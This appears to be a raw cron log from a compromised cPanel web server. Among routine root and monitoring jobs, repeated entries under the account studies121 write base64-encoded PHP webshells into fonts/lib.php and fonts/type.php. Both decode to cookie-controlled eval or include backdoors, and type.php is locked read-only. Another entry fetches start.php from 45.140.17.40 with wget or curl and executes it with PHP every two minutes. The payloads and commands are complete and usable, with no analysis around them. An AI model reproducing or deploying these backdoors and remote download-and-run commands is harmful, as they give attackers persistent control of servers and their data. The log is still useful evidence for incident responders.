Feb 22 04:37:01 ip-184-168-122-23 CROND[5276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:37:01 ip-184-168-122-23 CROND[5278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:38:01 ip-184-168-122-23 CROND[5635]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Feb 22 04:38:01 ip-184-168-122-23 CROND[5637]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:38:01 ip-184-168-122-23 CROND[5639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:38:01 ip-184-168-122-23 CROND[5640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:38:01 ip-184-168-122-23 CROND[5642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:38:01 ip-184-168-122-23 CROND[5638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:39:01 ip-184-168-122-23 CROND[6006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:39:01 ip-184-168-122-23 CROND[6011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:39:01 ip-184-168-122-23 CROND[6008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:39:01 ip-184-168-122-23 CROND[6009]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 04:39:01 ip-184-168-122-23 CROND[6010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:40:01 ip-184-168-122-23 CROND[6344]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 04:40:01 ip-184-168-122-23 CROND[6347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:40:01 ip-184-168-122-23 CROND[6350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:40:01 ip-184-168-122-23 CROND[6352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 04:40:01 ip-184-168-122-23 CROND[6351]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:40:01 ip-184-168-122-23 CROND[6354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:40:01 ip-184-168-122-23 CROND[6349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:40:01 ip-184-168-122-23 CROND[6356]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 04:41:01 ip-184-168-122-23 CROND[6700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:41:01 ip-184-168-122-23 CROND[6702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:41:01 ip-184-168-122-23 CROND[6703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:41:01 ip-184-168-122-23 CROND[6704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:42:01 ip-184-168-122-23 CROND[7024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:42:01 ip-184-168-122-23 CROND[7025]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:42:01 ip-184-168-122-23 CROND[7023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:42:01 ip-184-168-122-23 CROND[7030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:42:01 ip-184-168-122-23 CROND[7031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:43:01 ip-184-168-122-23 CROND[7428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:43:01 ip-184-168-122-23 CROND[7429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:43:01 ip-184-168-122-23 CROND[7433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:43:01 ip-184-168-122-23 CROND[7432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:44:01 ip-184-168-122-23 CROND[7766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:44:01 ip-184-168-122-23 CROND[7771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:44:02 ip-184-168-122-23 CROND[7770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:44:02 ip-184-168-122-23 CROND[7773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:44:02 ip-184-168-122-23 CROND[7772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:45:01 ip-184-168-122-23 CROND[8126]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 04:45:01 ip-184-168-122-23 CROND[8129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:45:01 ip-184-168-122-23 CROND[8127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:45:01 ip-184-168-122-23 CROND[8130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:45:01 ip-184-168-122-23 CROND[8128]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Feb 22 04:45:01 ip-184-168-122-23 CROND[8132]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 04:45:01 ip-184-168-122-23 CROND[8133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:46:01 ip-184-168-122-23 CROND[8455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:46:01 ip-184-168-122-23 CROND[8458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:46:01 ip-184-168-122-23 CROND[8457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:46:01 ip-184-168-122-23 CROND[8462]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 04:46:01 ip-184-168-122-23 CROND[8461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:46:01 ip-184-168-122-23 CROND[8463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:47:01 ip-184-168-122-23 CROND[8809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:47:01 ip-184-168-122-23 CROND[8812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:47:01 ip-184-168-122-23 CROND[8813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:47:01 ip-184-168-122-23 CROND[8811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:48:01 ip-184-168-122-23 CROND[9210]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:48:01 ip-184-168-122-23 CROND[9212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:48:01 ip-184-168-122-23 CROND[9213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:48:01 ip-184-168-122-23 CROND[9214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:48:01 ip-184-168-122-23 CROND[9215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:49:01 ip-184-168-122-23 CROND[9575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:49:01 ip-184-168-122-23 CROND[9574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:49:01 ip-184-168-122-23 CROND[9576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
